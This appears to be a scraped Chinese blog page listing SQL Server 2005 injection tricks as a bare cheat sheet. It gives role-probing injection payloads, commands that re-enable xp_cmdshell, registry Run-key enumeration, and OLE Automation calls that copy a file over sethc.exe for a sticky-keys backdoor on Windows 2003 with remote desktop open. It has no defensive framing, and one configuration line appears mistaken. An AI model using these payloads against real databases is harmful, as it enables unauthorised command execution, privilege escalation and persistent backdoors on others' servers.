sql server 2005注入技巧集
来源:互联网 发布:当你熟睡知乎 编辑:程序博客网 时间:2024/06/05 09:29
[sql server 2005,检测权限]
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select IS_SRVROLEMEMBER('serveradmin'))
and 1=(select IS_SRVROLEMEMBER('setupadmin'))
and 1=(select IS_SRVROLEMEMBER('securityadmin'))
and 1=(select IS_SRVROLEMEMBER('diskadmin'))
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))
and 1=(select IS_SRVROLEMEMBER('db_owner'))
[sql server 2005 ,恢复xp_cmdshell ]
开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
更新注册
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run'
[sql server 2005 ,文件操作]
//启用 OLE Automation Procedures
sp_configure 'show advanced options',0;RECONFIGURE;sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
//拷贝文件d:/windows/explorer.exe 至sethc.exe
declare @o int;exec sp_oacreate 'scripting.filesystemobject', @o out ;exec sp_oamethod @o, 'copyfile',null,'d:/windows/explorer.exe' ,'c:/sethc.exe';
//如果服务器是windows 2003且开放3389即可以用粘滞键的原理.
- sql server 2005注入技巧集
- 【SQL Server】--SQL注入
- 【sql server】SQL注入
- 【SQL Server】SQL注入
- SQL注入--sql server
- 跨站式SQL注入技巧
- SQL注入另类技巧
- 跨站式SQL注入技巧
- 跨站式SQL注入技巧
- 跨站式SQL注入技巧
- 跨站式SQL注入技巧
- 跨站式SQL注入技巧
- 跨站式SQL注入技巧
- 跨站式SQL注入技巧
- 跨站式SQL注入技巧
- 跨站式SQL注入技巧
- sql注入判断技巧
- SQL注入绕过技巧
- WCF 基础之契约(Contract)
- 如何监视正在使用su 命令的用户
- JS快速查找法
- asp 利用ADO 实现数据分页
- 类似迅雷的悬浮窗口
- sql server 2005注入技巧集
- 函数指针
- 关于数据库的字符串
- 溢出漏洞扫描技术方法与实现(科普)
- 工具 & 网络游戏封包基础
- arraylist对象数组绑定
- 哈
- PC Camera开发日志(十一)------ TTPLAYER UI 分析
- Install ssh for AIX